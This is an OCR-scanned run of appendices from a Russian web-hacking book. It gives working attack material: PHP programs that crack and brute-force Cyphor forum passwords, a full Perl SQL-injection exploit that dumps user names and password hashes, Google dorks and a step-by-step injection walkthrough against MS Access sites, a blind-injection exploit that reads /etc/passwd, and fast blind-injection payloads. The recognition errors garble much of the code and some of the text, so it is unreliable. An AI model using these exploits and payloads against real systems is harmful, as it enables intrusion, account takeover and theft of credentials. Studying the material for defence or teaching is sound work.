jptfK j CoHapse Threads Jump to... I Loqtw I Register 1 Lost ш password? Cyphor (Release: 0.19. PHP 4.4.4) Page loaded Рис. П3.1. Извлекаем из базы имя пользователя, хэш пароля и время создания (в секундах)
Взлом паролей пользователей форума Cyphor 179 Теперь нам остается написать небольшую программу на языке РНР, в которой функция генерации пароля будет использовать не текущее время, а то, которое мы ей укажем (взятое из signup_date). Изучение модуля register.php показывает, что на всякий случай надо проверить еще момент времени signup_date + 1 (то есть плюс одна секунда). Это требуется, поскольку сначала время записывается в signupdate, а потом снова берется системное время в функции randompassword. То есть секунда может успеть смениться следующей (что крайне маловероятно, но возможно). Полный текст программы восстановления пароля, предлагаемого по умолчанию (я назвал ее crack-pass.php), приведен на рис. П3.2. $ т359 $timeO * 1276826876; $user_mck « "alice"; $hasrf« "al,IF7HbXChK."; k$/ ($i»i;$i<«2: $i«$i*l) { Ipassword * randoa_password<;$ timeQ); $p • crypt{$pabsword. strtolower{$u5«r_nick)); |$p mm $hasn) { printf("Password for user $user_nick .-> $password\a"); exit о i > I $timeO « $tim«0 + l; ) printf("Password NOT found for user: $userwnlck \n">j exit(И function rando«j>asswerd($reg_tiuie) { srand($reg_i"ime) ; fcons ¦ "bcdfghjklmnpqrstvwKZ"j $voy ¦ "eaiou".; $chi - "123456789".; $spe - \ ;,-,;,-*; $newj)asswd » substr($.cons. rand(0, (strlen($cons) -1)} . 1) . fUbftr($voy. rand(0. (strier»($voyj-1)}, 1} ¦ substn. icons . randiO, (strlen($cons) -2}J . 1) . substn; $voy, rand(Q, (strlen($voy) -1)) 1} . iubstr($spe( rand(e.(itrlen($spe)-1) , 1 substr($chi, randiO.(strleni$chii-1)), 1) . substn $chi, rand(0,(strlen($chi)-l!0 ¦ 1} ¦ substr($cons, rand(0,(strlen*$cons)-1)), l<; > I Рис. П3.2. Программа crack-pass.php Для работы программы crack-pass.php нужно указать в ее тексте время создания пользователя, ник и хэш пароля. Результат работы программы показан на рис. ПЗ.З. Теперь рассмотрим механизм получения доступа к сайту в качестве администратора (или любого другого существующего пользователя). Паролем администратора по умолчанию является слово cyphor (это указано в файле README, txt, прилагаемом к движку). В реальной жизни администратор сразу же меняет пароль. Но мы можем принудительно создать ему новый случайный пароль
180 Приложение 3. Взлом паролей пользователей форума Cyphor 1 iocation ?dlt 1 Е> location ytew &/* ?o Цооктагк ebexploitatior 1 Password for user a lice - ¦ Page loaded. J-'a -> s Jools Settings window v \ 4 :kagej02/cyphor/c buno;34x m rack-pass php lje*P Щ • 1 Рис. ПЗ.З. Результат работы программы crack-pass.php посредством функции восстановления пароля. Для этого нужно только знат! его ящик, указанный при регистрации. Это не проблема — ящик хранится в поле email и легко извлекается через SQL-инъекцию. Создав таким способом пользо вателю новый пароль, мы можем легко найти его путем перебора. Учитывая, чтс в сгенерированном пароле определенные символы (согласные и гласные буквы цифры, спецсимволы) находятся на строго определенных местах, пишем про грамму перебора, как показано на рис. П3.4 (я назвал ее brute-pass.php). |fur ($i for ($1 с?— I $user_n Icons i $timeO .IFJHbXChK. ;12/6&2!\,:-:Ji $chi "123456789"; $spe tc* = "alice": $hBsh = "al,IFTHbXChK." "bcdfghjklenpqrstvwxz"; $voy ¦ "eaiou' = time! : ; printi!"Password bruteforce for user $mer nick started.., l=0;$il<2Q; $il»$ll*I ($i2>Q) print \"Trying password $passwd ($i4-0:$i4<5 i $i4=$i44-l) ($i6=0;$i6<9.; $16=$? • i $i.8=0 ;$i8<2G; $l8-$ 2=0;$i2<5; |i2-$] !+] i { 3=Q;$i3<29: $i3=$i3-»-l; 5«=0;$i$<4; $i5=$i54-b 7=0;$i7<9; $i7»$i7flj \n . An"}.; $passwd ¦ substr($cons, $11, 1/ . substr($voy, $12, substr($cons,$i3, iutoftr($voy, $i4, substrffspe, $i5„ substn$chi, $16, substn $chi, $i7, substr($cons,$i8, > > $del |printf( exit О ; ] и . i I? . * - 11 . i , * .9 1) : IP $p ¦ crypt($passwd, strtolowerduserru i $p mm $hai i printf("Password found for user $u$er_n.ick -> $passwd\a"); $delta ¦ timedI - $timeQ; printfi:" Elapsed time: $delta sec\nH): exit > ta = timef| - $time0; "Password not found for user: $user_nick \nElapsed time: $delta sec\n'; Рис. П3.4. Программа brute-pass.php Полный процесс перебора занимает не более 45 минут на моей системе. Такиа образом, максимум через три четверти часа мы гарантированно можем войт!
Взлом паролей пользователей форума Cyphor 181 Рис. П3.5. Результат работы программы brute-pass.php на форум в качестве администратора. Результат работы программы показан на рис. П3.5. У меня пароль пользователя al ice нашелся всего за 118 секунд. Другой (намного более быстрый) вариант связан с перебором времени создания нового пароля. Вы засекаете время, когда была запрошена процедура восстановления пароля, делаете поправку на местное время на том сайте, где крутится форум, и перебираете некоторый временнбй диапазон (чтобы учесть неточности установки времени на вашей машине и на целевом сервере). На самом деле можно просто брать в программе текущее время и уменьшать его, если время на сервере меньше вашего текущего, или увеличивать, если время на сервере больше. Я смоделировал разницу во времени между моим компьютером и сервером в 5 часов, в результате подбор занял всего 2 секунды. Как справедливо заметил The Matrix, ознакомившись с данным приложением: «Запрос на веб-сервер в ответе в заголовке выкинет тебе точное время на сервере с точностью до секунды». Он в свое время исследовал схожую, но значительно более сложную для эксплуатации уязвимость паролей в instantCMS. Текст его статьи и ссылка на видеоролик приведены, с его любезного разрешения, в приложении 8. Так что можете сами выбрать, что вам больше по душе, использовать мой упрощенный метод или узнавать точное время на сервере из заголовка HTTP-ответа. Можно не перехватывать снифером ответ сервера, а после смены пароля администратора посредством процедуры восстановления пароля зайти по протоколу Telnet (порт 80) на уязвимый хост, в нашем случае вот так: telnet 127.0.0.1 80 Далее нужно набрать GET / НТТР/1.1 и два раза нажать клавишу Enter. Веб-сервер вернет сообщение об ошибке, но там будут дата и время на сервере, как показано
182 Приложение 3. Взлом паролей пользователей форума Cyphor Рис. П3.6. Получение времени из ответа веб-сервера на рис. П3.6. Заметьте, что веб-сервер вернул еще свое название и версию, а также версию РНР. Это полезная для хакера информация. Остается только с помощью маленькой программки преобразовать время и дату в секунды. После этого в программе подбора пароля нужно просто уменьшать эту дату и каждый раз проверять пароль, пока не будет получен положительный результат. Программу подбора можно написать самостоятельно на базе файла crack-pass.php. Если есть силы и желание, на языке РНР можно написать полностью автоматизированный эксплойт, который будет извлекать ник, почтовый ящик и хэш старого пароля администратора (в реальной жизни он еще вполне может пригодиться, так как способен подойти к учетной записи *шх-пользователя, особенно если имя администратора не стандартное — «admin», а какое-то другое; в этом случае высока вероятность, что пользователь с таким логином есть в системе; как я уже отмечал ранее, ломать этот хэш следует программой John The Ripper). Затем через форму восстановления пароля эксплойт будет устанавливать новый пароль, извлекать хэш и восстанавливать его по времени создания, полученному в ответе от сервера. Но хакеры нашли способ еще хитрее. Они регистрируют на форуме своего пользователя, а потом через SQL-инъекцию, используя оператор UPDATE, меняют ему идентификатор группы на «3» (администратор). Это обеспечивает мгновенное получение прав администратора. Разумеется, никому не следует пытаться проверять это на чужих сайтах! Автор не несет ответственности за ваши противозаконные действия. Как можно улучшить программу генерации случайных паролей, чтобы их нельзя было так легко восстановить по времени создания? Нужно добавить ко времени создания некоторое число, уникальное для данной системы. Например, можно вычислять тс15-хэш от результата вызова таких системных команд, как uname -а, id, pwd, who, ps и т. п. (форум Cyphor рассчитан только на *шх-системы), затем часть хэша преобразовать в целое число, сложить с текущим временем и использовать результат для инициализации генератора случайных чисел. Тогда злоумышленник не сможет так легко воспроизвести процесс создания пароля на своей машине. Хотя возможность брутфорса по-прежнему остается.
пц Использование готового эксплойта для SQL-инъекции в форуме Cyphor Текст эксплойта можно найти в Интернете, например, по адресу http://www. securiteam.com/unixfocus/6P00FlFEKC.htmL Скопируйте текст эксплойта с веб-страницы в редактор и сохраните, например, в файле cyphor019.pl. Чтобы эксплойт работал на вашей машине, в строке, присваиваемой переменной $url, надо заменить слово users словом cyphorjjsers. Полный текст готового эксплойта приведен ниже. Заметьте, что строка $url в книге перенесена, в редакторе это должна быть одна длинная строка. #!/bin/env perl #// # #// Cyphor Forum SQL Injection Exploit .. By HACKERS PAL #// Greets For Devi 1-00 - Abducter - Almaster #// http://WwW.S0Q0R.NeT #// ---# use LWP::Simple; print "\n# Cyphor Forum Exploit By : HACKERS PAL #"; print "\n# Http://WwW.SoQoR.NeT #"; if(!$ARGV[0]||!$ARGV[l]) { print "\n# -- Usage: #": print M\n# -- perl $0 [Full-Path] 1 f; print "\n# -- Example: #": print "\n# -- perl $0 http://www.cynox.ch/cyphor/forum/ 1#"; продолжение &
184 Приложение 4. Использование готового эксплойта для SQL-инъекции print "\n# Greets To Devil-00 - Abducter - almastar #"; print Лп1ШШттШШ1ШШШШШШШШШШШ\г\°: exit(0); } else { print "\n# Greets To Devi 1-00 - Abducter - almastar #"; print "\mmimmmmmmmmmmmmiimmm\r\n\ $web=$ARGV[0]; $id-$ARGV[l]: $url = "show.php?fid=2&id --10X20union3;20selecU20id.2.3.4.5.nick.password.8.id. 10*20from*20cyphorjjsers*20where*20id=$idM; $site="$web/$url"; $page = get($site) || die "[-] Unable to retrieve: $!"; print "\n[+] Connected to: $ARGV[0]\n": print "[+] User ID is : Sid "; $page =~ m/<span class=bigh>(.*?)<\/span>/ && print "\n[+] User Name is: $l\n"; print "\n[-] Unable to retrieve User Name\n" if(!$l); $page =~ m/<span class=message>(.*?)<\/span>/ && print "[+] Hash of password is: $l\n"; print "[-] Unable to retrieve hash of password\n" if(!$l): } print "\n\nGreets From HACKERS PAL To you :) XnWwW.SoQoR.NeT . . You Are Welcome\n\n"; #finished Немного поясню работу эксплойта. Вначале он связывается с сайтом и пол^ от него html-страницу, затем в этой странице между тегами <span class*!
Использование готового эксплойта для SQL-инъекции в форуме Cyphor 185 и </span> находит (и печатает на экране) имя пользователя, а между тегами <span class=message> и </span> — хэш пароля. Запускается эксплойт из консоли командой perl cyphor019.pl http://localhost/webexploitation_package_02/cyphor/ l Как видите, первый параметр — это полный путь к форуму, второй — номер пользователя (администратор имеет номер 1). Результат работы эксплойта показан на рис. П4.1. Рис. П4.1. Работа эксплойта для SQL-инъекции в форуме Cyphor При наличии некоторых навыков программирования вы легко сможете писать на базе данной программы собственные эксплойты для SQL-инъекций в этом или других движках.
Реализация SQL-инъекций в MS SQL Jet Содержание этого приложения основано на статье, опубликованной на одном из зарубежных хакерских сайтов. 1. Поиск в Google: site:.org inuri :.asp?id= site:.com inurl:.aspx?= site:.co.uk inurl:.asp?cid= Также вы можете придумать что-то свое. 2. Предположим, мы нашли адрес http://www.site.com и в ходе его исследования наткнулись на следующее: http://www.si te.com/en/pressread.asp?i d=563 Мы видим нормально отображающуюся страничку. Добавляю к URL символ одинарной кавычки, вот так: http://www.site.com/en/pressread.asp?id=563' Теперь мы видим ошибку наподобие следующей: Microsoft OLE DB Provider for ODBC Drivers error '80040el4' [Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'id=563' ;'. /en/includes/configdb.asp. line 23 Такое сообщение об ошибке означает, что у нас есть большие шансы на инъекцию, так что пробуем добавить к адресу AND+1=1: http://www.site.com/en/pressread.asp?id=563+AND+l=l# ПРИМЕЧАНИЕ В языке ASP для комментирования остального запроса применяется символ #, а не символы ~ или /*. При получении сообщения об ошибке «type mismatch Cint», можно сделать вывод о том, что входной параметр проверяется на тип данных. Если продолжить, то можно найти другой сайт, воспринимающий ввод как числовых переменных, так и строк. Теперь мы используем добавку AND+1=0#: http://www.si te.com/en/pressread.asp? i d=563+AND+l=0# ns
Реализация SQL-инъекций в MS SQL Jet 187 В результате мы получаем незавершенную страницу или вот такую ошибку: ADODB.Field error *800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record, /en/pressread.asp. line 44 To есть сейчас нам нужно найти количество колонок, а для этого мы применяем команду ORDER BY несколько раз. Начать можно, к примеру, с числа 10. Предположим, после этого появится вот такая ошибка: Microsoft OLE DB Provider for ODBC Drivers error '80004005' [Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine does not recognize '10' as a valid field name or expression. /en/includes/configdb.asp. line 23 Это сообщение говорит о том, что колонки с номером 10 не существует. Далее нужно уменьшать число, пока не удастся получить правильное значение. В нашем примере это число равно 7: http://www.site.com/en/pressread.asp?id=563+AND+l=0+UNI0N+ALL+SELECT+ 1.2.3.4.5.6.7# После подбора нужного числа появляется другое сообщение об ошибке: Microsoft OLE DB Provider for ODBC Drivers error '80004005' [Microsoft][ODBC Microsoft Access Driver] Query input must contain at least one table or query. /en/includes/configdb.asp, line 23 Запрос не выполняется, потому что нужно указать имя существующей таблицы. То есть требуется угадать имя таблицы: http://www.site.com/en/pressread.asp?id=563+AND+l=0+UNI0N+ALL+SELECT+ 1,2.3,4,5.6.7 FROM user# Пока мы не укажем правильное имя таблицы, будем получать вот такое сообщение об ошибке: Microsoft OLE DB Provider for ODBC Drivers error '80040e37' [Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query 'user'. Make sure it exists and that its name is spelled correctly. /en/includes/configdb.asp. line 23 Вот возможные имена таблиц, одно из которых скорее всего должно подойти: user, users, admin, login, news, sysobjects, customers. Предположим, в нашем примере таблица называется admin. Это означает, что в ответ на следующий запрос тоже появится сообщение об ошибке, но в одном из полей на странице вы увидите, например, цифру 4 из нашего запроса: http://www.site.com/en/pressread.asp?id=563+AND+l=0+UNI0N+ALL+SELECT+ 1.2.3.4.5.6.7+from+admin# В этот момент надо переходить к подбору имен колонок.
188 Приложение 5. Реализация SQL-инъекций в MS SQL Jet 3. Найти имена колонок можно, используя в конце своего запроса оператор GROUP BY ...HAVING, например: HAVING 1=1 -- GROUP BY имя-таблицы.имя-колонки-из-сообщения-об-ошибке1 HAVING 1=1 -- GROUP BY имя-таблицы.имя-колонки-из-сообщения-об-ошибке1. имя-таблицы.имя-колонки-из-сообщения-об-ошибке2 HAVING 1=1 -- GROUP BY имя-таблицы.имя-колонки-из-сообщения-об-ошибке1, имя-таблицы.имя-колонки-из-сообщения-об-ошибке2, имя-колонки-из-сообщения-об-ошибке (n) HAVING 1=1 -- и т. д.
Усовершенствованный текст эксплойта nabopoll.php Как я отмечал в главе 6, мне удалось существенно ускорить работу эксплойта, применив метод двоичного поиска. Интервал поиска каждый раз делится пополам, таким образом, число угадывается за несколько сравнений. Я не считаю свой вариант идеальным, но он работает. Вот текст программы: <? # Nabopoll Blind SQL Injection РОС Exploit # Download: www.nabocorp.com/nabopoll/ # coded by sOcratex # Contact: sOcratex@hotmail.com # July 1. 2010 - modified by Uri error_reporting(0); ini_set("max_execution_time",0); $srv = "localhost": $path = ,7webexploitation_package_02/nabopoll"; Sport = 80; Ssurvey = "1"; //you can verify the number entering in the site and viewing the results... echo "==================================================\n"; echo "Nabopoll SQL Injection -- Modified Exploit\n"; echo " \n\n"; echo " -- /etc/passwd: \n"; $j = 1: Suser = M";$x=0: while(!strstr($user.chr(0))){ $minx = 0; $maxx = 255; $found = false; Sop = ">"; while(ISfound) { $x = intval(($maxx + $minx)/2); if (Smaxx == $minx+l) { if (Sop == ">") { $x=$maxx; $found=true;Suser.=chr($x);echo chr(Sx);break;} if ((Sop == "<=") and (Sbingo)) { $x=$maxx; $found=true;Suser.=chr($x); продолжение & пь
190 Приложение б. Усовершенствованный текст эксплоита nabopoll.php echo chr($x);break;} } $bingo = false; $xpl = "/result.php?surv-".$survey.'7**/AND/**/l-( SELECT/**/(IF((ASCII(SUBSTRING(load_file( Ox2f6574632f706173737764),".$j.".1))".Sop.$x."),1.0)))/*"; $cnx = fsockopen($srv,$port); fwrite($cnx."GET M.$path.$xpl." НПР/1.0\г\п\г\п"); while(!feof($cnx)){ if(ereg("power",fgets($cnx))){ $bingo=true;break; } } fclose(Scnx); if ($x==255) {die("\n Try again...");} $prevop=$op; if (Sbingo) { switch(Sop) { case ">": $minx = $x; break; case "<=": $maxx = $x; break; } } else { switch($op) { case ">"; Sop = "<="; break; case "<="; Sop = ">"; break; } } } Sj++; } echo "\n"; ?> Заметьте, что некоторые строки, которые в книге из-за недостатка места перенесены (в частности, строка, начинающаяся с символов $xpl=), в редакторе должны вводиться одной длинной строкой.
Получение имен таблиц и данных через слепую SQL-инъекцию в MS Access Получение имени таблицы: [...] AND (SELECT TOP 1 1 FROM имя^таблицы) Пример: [...] AND (SELECT TOP 1 1 FROM users) Получение имени колонки: AND (SELECT TOP 1 имя_колонки FROM имя_таблицы) Пример: [...] AND (SELECT TOP 1 name FROM users) Извлечение длины указанной строки: [...] AND IIF((SELECT TOP 1 1Е.Шмя_колонки) FROM имя_таблицы = X. 1. 0) Пример: [...] AND IIFUSELECT TOP 1 LEN(name) FROM users) = 8. 1, 0) Извлечение данных из колонок: [...] AND IIF((SELECT TOP 1 №№мя_колонки. Х, 1) FROM имя_таблицы) = CHR(m). 1. 0) Пример: [...] AND IIFUSELECT TOP 1 MID(name, 1. 1) FROM users ) = CHR(65). 1. 0) П7
Переустановка пароля а д м и н истратора и угадывание его в instantCMS Материал этого приложения публикуется с любезного разрешения The Matrix, впервые открывшего данную уязвимость, описавшего ее и создавшего под нее эксплойт. Описание уязвимости можно найти по адресу https://forum.antichat.ru/showpost. php?p-2138088&postcount=23. Видео, посвященное этой уязвимости, располагается по адресам http://ifol.cler. ш/17669676 и http://webfi4e.ru/4490132. Уязвимы все версии. Для эксплуатации уязвимости нужен адрес электронной почты администратора (по умолчанию отображается в профиле) и много времени. В чем суть? Адрес /components/registration/frontend.php содержит такой РНР- код: $sql = "SELECT * FROM cms_users WHERE email = 'SemaiV LIMIT 1"; Sresult = $inDB->query($sql) ; if ($inDB->num_rows($result)>0){ $usr = $inDB->fetch_assoc($result); Snewpassword = substr(md5(microtime()), 0. 6); $inDB->query("UPDATE cms_users SET password = '".md5($newpassword)."' WHERE id = ".$usr['id']) ; $mail_message = $_LANG['HELLO'].', ' . $usr['nickname'] . '!'. "\n\n"; $mail_message = $_LANG["HELLO'].'. ' $usr['nickname'] . '!'. "\n\n"; $mail_message .= $_LANG[ 'REMINDERJEXT'].' "' .$inConf->sitename.'".' . "\n\n"; $mail_message .= $_LANG['0UR_PASS_IS_MD5'] . "\n"; $mail_message .= $_LANG['0UR_PASS_IS_MD5_TEXT'] . "\n\n"; $mail_message .= '######## ' .$_LANG['Y0UR_L0GIN'].': ' .$usr[ 'login']. "\n\n"; $mail_message .= 41IIIIIIIIIIIIШ '.$_LANG[ 'YOURJEWJ^ASS'].': ' .Snewpassword . "\n\n"; $mail_message .= $_LANG['YOU_CAN_CHANGE_PASS']."\n"; $mail_message .= $_LANG['IN_CONFIG_PROFILE'].': '. cmsUser:: getProfileURL($usr['login']) "\n\n"; $mail_message .= $_LANG[ na
Переустановка пароля администратора и угадывание его в instantCMS 193 'SIGNATURE'].'. '. $inConf->sitename . ' ('.HOST.').' . "\n"; $mail_message .-dateCd-m-Y (H:i)'); $inCore->mailText($email. $inConf->sitename.' - \$_LANG[ 'REMINDER_PASS']. $mail jnessage); Этот скрипт восстанавливает пароли рассеянных пользователей. Но как он это делает? 1. Проверяет, есть ли в базе данных адрес электронной почты. 2. Не церемонясь, присваивает паролю значение, равное первым шести символам хэша от значения, которое генерирует функция microtime(). Функция microtimeO возвращает текущую метку времени с микросекундами. Эта функция доступна только в операционных системах, поддерживающих системную функцию gettimeofday(). При вызове без необязательного параметра возвращается строка в формате msec sec, где sec — это количество секунд, прошедших с начала эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00 GMT), a msec — дробная часть. Она генерирует что-то наподобие следующего: О.ххххххОО [1273589840] Здесь символы хххххх означают доли секунды, а в квадратных скобках выводится количество секунд, прошедших с начала эпохи Unix. Как эксплуатировать уязвимость? Нужно отослать запрос на восстановление пароля, перехватить пакет и в ответе на запрос проверить дату. Там должно быть что-то вроде следующего: Tue. 11 May 2010 20:39:23 GMT Далее узнаем на локальной машине, сколько прошло с момента 1970, 00:00:00 GMT. А вот микросекунды придется подбирать, их мы никак не узнаем. Для этого создаем список вида OjcxxxxxOO (время в секундах, прошедшее от момента эпохи Unix до момента отправки запроса на восстановление пароля). Например: 0.30001200 1273589840 Вместо символов хххххх нужно вставлять все возможные комбинации из цифр (таковых 1 млн). Затем мы преобразуем их к виду substr(md5(3H<34ewfe). О, 6) Возвращаем тс15-хэш каждого получившегося значения и отрезаем от хэша символы после шестого знака, например: 1а512Ь Получается словарь из 1 млн слов. Одно из этих слов — сгенерированный пароль. Далее нужно пытаться путем подбора пароля войти через веб-форму. Для этого существуют специальные программы. Так, у меня на компьютере подобный многопоточный брут дает до 11 ппс: 1000000/11 = 90,909 — то есть в худшем случае пароль мы узнаем через сутки. Долго, но не сложно, поскольку на количество попыток войти ограничений в форме авторизации не стоит.
194 Приложение 8. Переустановка пароля администратора в instantCMS Хотя эксплуатации данной уязвимости — дело достаточно трудоемкое, вероятность успеха здесь стопроцентна, так как в сгенерированном большом словаре обязательно есть правильный пароль. И если больше ничего не остается, уязвимость можно эксплуатировать именно так.
Быстрые методы слепой SQL-инъекции Метод двоичного (бинарного) поиска является универсальным, но не самым быстрым из методов слепой SQL-инъекции. Существуют специализированные методы, которые позволяют быстро извлечь небольшую часть информации, включающую в себя только символы из ограниченного набора (например, md5- хэш пароля). С этими методами несколько больше хлопот, но они являют собой яркий пример изобретательности хакеров, в том числе российских. Что касается самого метода двоичного поиска, то многие хакеры утверждают, что этим методом нельзя «вытащить» большое количество информации, например содержимое файла /etc/passwd. Это и так, и не так. Действительно, на реальных каналах связи (в отличие от лабораторных условий на локальном компьютере) эксплойт, работающий по принципу двоичного поиска, обязательно даст сбой после извлечения некоторой части данных. Однако ничто не мешает хакеру изменить код эксплойта так, чтобы продолжать подбор символов с того места, где произошла остановка. Также целесообразно использовать сначала видоизмененный эксплойт, который не перебирает все символы подряд, а дает представление о структуре файла, например, находит только позиции символа перевода строки. В случае файла /etc/passwd можно также искать местоположение разделителей полей — символов двоеточия. Тогда, получив структуру файла, хакер может затем выборочно извлечь любой фрагмент (известно, например, что в начале файла /etc/passwd обычно располагаются учетные записи системных пользователей, как правило, не представляющие интереса в плане подбора пароля). Теперь, после этого вступления, я вкратце изложу общие принципы быстрой SQL-инъекции, более подробную информацию вы можете найти на элитных хакерских сайтах. Использование функции find_in_set(substr, strlist) В MySQL существует функция f i ndi n_set (), используемая для поиска подстроки среди списка строк, разделенных запятыми. Функция возвращает номер той строки из списка, которая равна искомой подстроке. Если подстрока не найдена, пч
196 Приложение 9. Быстрые методы слепой SQL-инъекции функция возвращает значение 0. Вот пример использования этой функции в консоли MySQL (мы ищем подстроку 'с' в наборе 'a.b.c.d.e'): mysql> SELECT FIND_IN_SET('с','a.b.c.d.e'); -> 3 Стандартный тс15-хэш содержит только символы из следующего набора: '0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.Г То есть мы можем узнать номер символа следующим образом: select find_in_set((substringC(select password from users limit l) ЛЛ)),'0,1,2.3 A.5.6,7.8.9.д.bx.d.e.f); К примеру, для символа ' а' номер равен 11. Теперь предположим, что на сайте есть новости с идентификаторами от 1 до 16, тогда наш запрос будет выглядеть так: news.php?id=fi nd_i n_set(substri ng((select password from users limit 0.1).l.l).'0.1.2.3.4.5.6,7,8.9.a.b.c.d.e.f) В зависимости от кода символа мы будем видеть новость с идентификатором, соответствующим символу хэша пароля. Для практического использования метода хакеру необходимо действовать следующим образом: 1. Выделить ключевые слова на страницах с нужными идентификаторами (то есть слова, уникальные для этих страниц). 2. Отправить запросы с функцией find_in_set() для каждого символа из базы данных. 3. Выяснить по ключевому слову, страницу с каким идентификатором мы получили, и вывести на экран код символа. Оценка количества необходимых запросов: 32+16 запросов на один тс15-хэш. Вместо функции find_in_set() можно использовать другие функции: INSTRC), LOCATE (), ASCI К), 0RD(), причем функции ASCIIO и 0RD() предпочтительнее, поскольку поддерживаются не только в MySQL. А при помощи операций сложения и вычитания получившиеся коды можно «подогнать» под любые идентификаторы. К достоинствам метода относятся: О высокая скорость работы; О метод не требует, чтобы на сайте был включен режим вывода сообщений об ошибках. Недостатки метода: О на реальном сайте идентификаторы могут быть распределены неравномерно, то есть скрипт придется настраивать под каждый сайт индивидуально; О в зависимости от идентификаторов для большого количества символов в алфавите нужно большое количество уникальных страниц, которые не всегда доступны, иначе приходится передавать более одного запроса на символ.
Использование конструкции find_in_set() + morelrow 197 Использование конструкции find_in_set() + morelrow Недостатки описанного ранее метода в основном сводятся к тому, что не на всех сайтах удается получить достаточное количество различных страниц в зависимости от значения одного параметра (например, идентификатора). Представляемый в этом разделе метод первоначально описал хакер Elekt. Суть метода сводится к тому, чтобы заставить скрипт выводить сообщение о какой- либо ошибке в зависимости от SQL-запроса. Наиболее часто используется запрос вида (предложен podkashey): SELECT l UNION SELECT 2 Этот запрос возвращает ошибку: Subquery returns more than 1 row ZaCo предлагает альтернативный вариант запроса: "х" regexp concat("x{l,25". if(@@version<>5, "5}", "6}")) /*в случае else строка выражения выйдет за максимальный предел квантификатора*/ Для всех версий MySQL, исключая версию 5, этот запрос возвращает ошибку: #1139 - Got error 'invalid repetition count(s)" from regexp. Хакеры нашли еще 9 ошибок, которые выводятся при неправильном значении regexp, итого в ответе от сервера мы можем получить 11 видов ошибок плюс одно состояние, когда ошибки нет. В запросе SELECT 1 сообщения об ошибке нет. А вот остальные запросы и соответствующие им сообщения об ошибках: select if(1=1.(select 1 union select 2).2) #1242 - Subquery returns more than 1 row select 1 regexp if(l=l,"x{l,0}\2) #1139 - Got error 'invalid repetition count(s)' from regexp select 1 regexp if(1=1,"x{l.(".2) #1139 - Got error 'braces not balanced' from regexp select 1 regexp if(1-1,'[[:]]'.2) #1139 - Got error 'invalid character class' from regexp select 1 regexp if(l=l,'[[',2) #1139 - Got error 'brackets ([ ]) not balanced' from regexp select 1 regexp if(1-1.'(({1}'.2) #1139 - Got error 'repetition-operator operand invalid' from regexp select 1 regexp if(1=1, " .2) #1139 - Got error 'empty (sub)expression' from regexp select 1 regexp if(l=l,'(',2) #1139 - Got error 'parentheses not balanced' from regexp select 1 regexp if(1-1,'[2-1]',2) #1139 - Got error 'invalid character range' from regexp select 1 regexp if(l=l.'[[.ch.]]',2) #1139 - Got error 'invalid collating element' from regexp select 1 regexp if(1=1. 'W ,2) #1139 - Got error 'trailing backslash (\)' from regexp
198 Приложение 9. Быстрые методы слепой SQL-инъекции Теперь скомбинируем эти запросы с функцией find_in_set(). Если искомый символ есть во множестве подстрок, она вернет номер подстроки, если нет, вернет 0. Сформируем следующий запрос: select * from users where id=-l AND "x" regexp concat( "x{ 1.25й. if(findjn_set(substring((select passwd from users where id=l).l.l).'a.b.c.d.e.f.1.2.3.4.5.6')>0. ( select 1 union select 2). "6}")) Если первый символ пароля находится во множестве 'а.Ь.с.d.е.f.1.2,3.4.5.6', то запрос вернет следующее: #1242 - Subquery returns more than 1 row В противном случае вернется: #1139 - Got error 'invalid repetition count(s)' from regexp To есть при каждом запросе по коду ошибки можно узнать, к какой группе принадлежит символ. Символы хакер расставляет по группам так, чтобы минимизировать количество обращений к серверу. В случае тс15-хэша известно, что могут присутствовать только символы из диапазона [0-9, a-f]. Также известно, что количество различных состояний равно 12(11 ошибок плюс одно состояние, когда ошибки нет). Тогда получаем, к примеру: ,'Ь','с'.'d'.'е'.'f' [1] [2] [3] [4] [5] [6] [7] [8] [9] сю: [п: '0' •г •2' '3' '4' '5' '6' '7' '8' 1: '9 ]: 'а Символы распределены так, чтобы минимизировать количество запросов, так как на каждом запросе хакер узнает номер группы, в которой находится символ. Если символ находится в группах со 2-й по 11-ю, то хакер узнает его значение с помощью одного запроса. Если символ принадлежит к группе 1, то следующим запросом хакер распределяет символы по группам по-другому и сразу узнает номер символа: [1] [2] [3] [4] [5] [6] '0' 'Ь' 'с' 'd' 'е' 'Г Алгоритм работы с SQL выглядит довольно просто.
Использование конструкции find_in_set() + morelrow 199 1. Символы алфавита оптимально распределяются по группам. 2. По возвращенному коду ответа выясняется, в какой группе находится символ из базы данных. 3. Если в этой группе только один символ, то он выводится на экран, если больше одного, символы из данной группы расставляются по состояниям, после чего возвращаемся к шагу 1. Понятно, что вручную писать такие запросы совершенно нереально, к примеру, запрос для алфавита [a-z, A-Z, 0-9] и 11 состояний занимает почти полстраницы книжного текста. Поэтому следует использовать сценарий, который автоматически генерирует запросы с вложенными условиями согласно описанному алгоритму, отправляет их и по ответу определяет, стоит ли еще отправлять запросы, или символ уже найден. По оценкам, данный метод использует приблизительно 42 запроса на тс!5-хэш. Достоинства метода: О высокая скорость работы; О универсальность. К недостаткам метода относится то, что он может работать только в случае, если на сайте включен режим вывода ошибок.
Хакерский словарик В среде русскоговорящих хакеров уже давно сложился свой жаргон. Большинство слов является транслитерацией англоязычных терминов, часто преобразованных по законам нашего языка. На основании анализа выпусков журнала «Хакер», других печатных изданий, публикаций в Интернете я составил маленький словарик хакерских терминов. Некоторые из приведенных терминов популярны не только у хакеров, но и у специалистов смежных областей (программистов, системных администраторов, пользователей компьютеров). О-day эксплойт — новейший эксплойт, который еще не стал достоянием широкой публики. 0-байт — см. нуль-байт. jtr — см. джон. абенд (abend, или aborption end) — аварийное завершение программы. аборт (abort) — аварийной прекращение (прерывание) программы. аб^з (abuse) — жалоба на действия хакера. абузоустойчивый хост — хост, администрация которого не обращает внимания на поступающие жалобы по поводу действий хакеров, имеющих аккаунты на данном хосте. админ (admin) — администратор. акк — см. аккаунт. акк4унт (account) — учетная запись, то есть логин и пароль. арбуз — см. абуз. аська (ася, асечка) — программа ICQ (ай-си-кью), популярный Интернет- пейджер. блэкхат, блэкхэт (black hat) — хакер, нарушающий закон в корыстных целях. бр^тить — подбирать пароли брутфорсером. брутфбрсер — программа для перебора паролей. R1D
